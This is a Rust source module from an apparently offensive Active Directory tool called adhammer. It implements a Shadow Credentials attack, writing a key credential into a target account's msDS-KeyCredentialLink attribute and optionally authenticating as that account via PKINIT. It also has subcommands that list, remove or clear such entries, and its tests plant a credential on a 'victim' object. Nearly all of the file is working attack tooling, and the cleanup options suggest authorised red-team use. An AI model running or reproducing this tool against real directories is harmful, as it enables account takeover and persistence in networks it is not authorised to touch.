use adhammer_collector::{Collector, LdapConfig};
use anyhow::{Context, Result};
use clap::Parser;
use crate::attacks::abuse::{abuse, AbuseAction, AbuseArgs};
#[derive(Parser)]
pub(crate) struct ShadowcredArgs {
#[arg(long)]
pub url: String,
#[arg(long)]
pub user: String,
#[arg(long, default_value = "")]
pub password: adhammer_core::SecretString,
#[arg(long)]
pub insecure: bool,
#[arg(long)]
pub target: String,
#[arg(long)]
pub pkinit: bool,
#[arg(long)]
pub kdc: Option<String>,
#[arg(long)]
pub realm: Option<String>,
#[arg(long, conflicts_with_all = ["remove", "clear"])]
pub list: bool,
#[arg(long, value_name = "GUID", conflicts_with_all = ["list", "clear"])]
pub remove: Option<String>,
#[arg(long, conflicts_with_all = ["list", "remove"])]
pub clear: bool,
#[arg(long)]
pub yes: bool,
#[arg(long, default_value = "adhammer")]
pub pfx_password: adhammer_core::SecretString,
#[arg(long)]
pub dry_run: bool,
}
pub(crate) async fn shadowcred(mut a: ShadowcredArgs) -> Result<()> {
a.password = crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?;
if a.list {
return list(&a).await;
}
if let Some(ref guid) = a.remove {
return remove(&a, guid).await;
}
if a.clear {
return clear(&a).await;
}
abuse(AbuseArgs {
auth: crate::shared_args::OptAuth {
url: Some(a.url.clone()),
user: Some(a.user.clone()),
password: Some(a.password.clone()),
insecure: a.insecure,
allow_plaintext_ldap: false,
},
action: AbuseAction::AddKeycred,
target: a.target.clone(),
value: String::new(),
kdc: a.kdc.clone(),
realm: a.realm.clone(),
ldap389: false,
host: None,
commit: true,
dry_run: false,
})
.await?;
let _ = &a.pfx_password;
println!("[i] .pfx export skipped — needs the p12 crate; see docs/pfx-export.md");
if a.pkinit {
let (kdc, realm) = match (a.kdc.as_ref(), a.realm.as_ref()) {
(Some(k), Some(r)) => (k.clone(), r.clone()),
_ => anyhow::bail!("--pkinit needs both --kdc and --realm"),
};
abuse(AbuseArgs {
auth: crate::shared_args::OptAuth {
url: Some(a.url),
user: Some(a.user),
password: Some(a.password),
insecure: a.insecure,
allow_plaintext_ldap: false,
},
action: AbuseAction::Pkinit,
target: a.target,
value: String::new(),
kdc: Some(kdc),
realm: Some(realm),
ldap389: false,
host: None,
commit: true,
dry_run: false,
})
.await?;
}
Ok(())
}
async fn connect(a: &ShadowcredArgs) -> Result<Collector> {
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
allow_plaintext_bind: false,
};
Collector::connect(&cfg).await
}
async fn list(a: &ShadowcredArgs) -> Result<()> {
let mut c = connect(a).await?;
let target_dn = crate::target::to_dn(&mut c, &a.target).await?;
let values = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?;
if values.is_empty() {
println!("no shadow credentials on {}", a.target);
return Ok(());
}
println!("DeviceId Created (UTC) Usage Source");
for v in &values {
match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
Some(k) => println!(
"{:<38} {:<25} {:<8} {}",
format_guid(&k.device_id),
format_filetime(k.creation_time),
key_usage_name(k.key_usage),
key_source_name(k.key_source),
),
None => println!("<unparsed KEYCREDENTIALLINK entry, {} chars>", v.len()),
}
}
Ok(())
}
async fn remove(a: &ShadowcredArgs, guid: &str) -> Result<()> {
let wanted = parse_guid(guid).context(
"--remove wants a GUID: `{9c8d...}` or `9c8d...` (32 hex chars, dashes optional)",
)?;
let mut c = connect(a).await?;
let target_dn = crate::target::to_dn(&mut c, &a.target).await?;
let values = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?;
let before = values.len();
let kept: Vec<String> = values
.into_iter()
.filter(|v| {
match parse_dn_binary(v).and_then(|b| parse_key_credential_blob(&b)) {
Some(k) => k.device_id != wanted,
None => true, }
})
.collect();
let after = kept.len();
if after == before {
anyhow::bail!(
"no shadow credential with DeviceId {} on {} — nothing removed",
format_guid(&wanted),
a.target
);
}
if a.dry_run {
println!(
"[dry-run] would replace msDS-KeyCredentialLink on {} — {} entries → {}",
target_dn, before, after
);
println!("[dry-run] no change made");
return Ok(());
}
c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &kept)
.await?;
println!(
"[+] removed KeyCredential {} from {} ({} → {} entries)",
format_guid(&wanted),
a.target,
before,
after
);
Ok(())
}
async fn clear(a: &ShadowcredArgs) -> Result<()> {
if !a.yes && !confirm_clear(&a.target)? {
anyhow::bail!("--clear aborted (no --yes and no interactive confirmation)");
}
let mut c = connect(a).await?;
let target_dn = crate::target::to_dn(&mut c, &a.target).await?;
let before = c
.read_multi_text(&target_dn, "msDS-KeyCredentialLink")
.await?
.len();
if a.dry_run {
println!(
"[dry-run] would clear msDS-KeyCredentialLink on {} — {} entries → 0",
target_dn, before
);
println!("[dry-run] no change made");
return Ok(());
}
c.replace_multi_text(&target_dn, "msDS-KeyCredentialLink", &[])
.await?;
println!(
"[+] cleared msDS-KeyCredentialLink on {} ({} entries removed)",
a.target, before
);
Ok(())
}
fn confirm_clear(target: &str) -> Result<bool> {
use std::io::{stdin, stdout, Write};
print!("Wipe ALL shadow credentials on {target}? [y/N] ");
stdout().flush().ok();
let mut buf = String::new();
stdin().read_line(&mut buf)?;
Ok(matches!(buf.trim(), "y" | "Y" | "yes" | "YES"))
}
struct KeyCred {
device_id: [u8; 16],
creation_time: u64, key_usage: u8,
key_source: u8,
}
fn parse_dn_binary(s: &str) -> Option<Vec<u8>> {
let mut parts = s.splitn(4, ':');
if parts.next()? != "B" {
return None;
}
let _count: usize = parts.next()?.parse().ok()?;
let hex_str = parts.next()?;
hex::decode(hex_str).ok()
}
fn parse_key_credential_blob(blob: &[u8]) -> Option<KeyCred> {
if blob.len() < 4 {
return None;
}
let mut off = 4; let (mut device_id, mut creation, mut key_usage, mut key_source) = (None, 0u64, 0u8, 0u8);
while off + 3 <= blob.len() {
let len = u16::from_le_bytes([blob[off], blob[off + 1]]) as usize;
let id = blob[off + 2];
off += 3;
if off + len > blob.len() {
return None;
}
let val = &blob[off..off + len];
match id {
0x04 if len >= 1 => key_usage = val[0],
0x05 if len >= 1 => key_source = val[0],
0x06 if len == 16 => {
let mut arr = [0u8; 16];
arr.copy_from_slice(val);
device_id = Some(arr);
}
0x09 if len == 8 => {
creation = u64::from_le_bytes([
val[0], val[1], val[2], val[3], val[4], val[5], val[6], val[7],
]);
}
_ => {}
}
off += len;
}
Some(KeyCred {
device_id: device_id?,
creation_time: creation,
key_usage,
key_source,
})
}
fn key_usage_name(u: u8) -> &'static str {
match u {
0x00 => "AdminKey",
0x01 => "NGC",
0x02 => "FIDO",
0x03 => "FEK",
_ => "?",
}
}
fn key_source_name(s: u8) -> &'static str {
match s {
0x00 => "AD",
0x01 => "AzureAD",
_ => "?",
}
}
fn format_guid(b: &[u8; 16]) -> String {
format!(
"{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-\
{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
b[3],
b[2],
b[1],
b[0],
b[5],
b[4],
b[7],
b[6],
b[8],
b[9],
b[10],
b[11],
b[12],
b[13],
b[14],
b[15]
)
}
fn parse_guid(s: &str) -> Option<[u8; 16]> {
let s = s.trim().trim_matches(|c| c == '{' || c == '}');
let clean: String = s.chars().filter(|c| *c != '-').collect();
if clean.len() != 32 {
return None;
}
let raw: Vec<u8> = (0..16)
.map(|i| u8::from_str_radix(&clean[i * 2..i * 2 + 2], 16).ok())
.collect::<Option<Vec<_>>>()?;
let mut out = [0u8; 16];
out[0] = raw[3];
out[1] = raw[2];
out[2] = raw[1];
out[3] = raw[0];
out[4] = raw[5];
out[5] = raw[4];
out[6] = raw[7];
out[7] = raw[6];
out[8..].copy_from_slice(&raw[8..]);
Some(out)
}
fn format_filetime(ft: u64) -> String {
if ft == 0 {
return "?".into();
}
let secs_since_1601 = ft / 10_000_000;
let Some(unix) = secs_since_1601.checked_sub(11_644_473_600) else {
return "?".into();
};
let unix = unix as i64;
let (y, m, d) = civil_from_days(unix.div_euclid(86_400));
let tod = unix.rem_euclid(86_400);
format!(
"{:04}-{:02}-{:02} {:02}:{:02}:{:02}",
y,
m,
d,
tod / 3600,
(tod % 3600) / 60,
tod % 60
)
}
fn civil_from_days(z: i64) -> (u16, u8, u8) {
let z = z + 719_468;
let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
let doe = z - era * 146_097;
let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
let y = yoe + era * 400;
let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
let mp = (5 * doy + 2) / 153;
let d = doy - (153 * mp + 2) / 5 + 1;
let m = if mp < 10 { mp + 3 } else { mp - 9 };
((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn guid_round_trip() {
let g = parse_guid("{9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345}").unwrap();
assert_eq!(format_guid(&g), "9c8d7e6f-5a4b-3c2d-1e0f-abcdef012345");
let g2 = parse_guid("9C8D7E6F-5A4B-3C2D-1E0F-ABCDEF012345").unwrap();
assert_eq!(g, g2);
let g3 = parse_guid("9c8d7e6f5a4b3c2d1e0fabcdef012345").unwrap();
assert_eq!(g, g3);
}
#[test]
fn guid_rejects_wrong_length() {
assert!(parse_guid("beef").is_none());
assert!(parse_guid("zzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz").is_none());
}
#[test]
fn filetime_1970_epoch_boundary() {
let ft = 11_644_473_600u64 * 10_000_000;
assert_eq!(format_filetime(ft), "1970-01-01 00:00:00");
}
#[test]
fn filetime_zero_prints_placeholder() {
assert_eq!(format_filetime(0), "?");
}
#[test]
fn parses_our_own_key_credential_blob() {
let kc = adhammer_kerberos::shadowcred::build_key_credential("CN=victim,DC=corp,DC=local")
.unwrap();
let blob = parse_dn_binary(&kc.dn_binary).expect("dn-binary decode");
let parsed = parse_key_credential_blob(&blob).expect("blob parse");
assert_eq!(parsed.key_usage, 0x01, "we plant NGC");
assert_eq!(parsed.key_source, 0x00, "we plant KeySource=AD");
assert_ne!(parsed.device_id, [0u8; 16], "device_id is random 16 bytes");
assert!(parsed.creation_time > 0);
}
}